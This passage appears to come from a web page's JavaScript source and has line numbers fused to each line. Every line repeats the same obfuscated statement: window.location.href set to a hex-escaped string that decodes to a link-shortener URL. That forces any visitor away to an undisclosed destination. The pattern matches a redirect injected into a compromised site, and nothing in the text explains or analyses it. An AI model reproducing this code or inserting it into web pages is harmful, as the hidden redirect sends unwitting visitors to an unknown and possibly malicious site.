1450window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1451window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1452window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1453window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1454window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1455window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1456window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1457window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1458window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1459window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1460window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1461window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1462window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1463window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1464window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1465window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1466window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1467window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";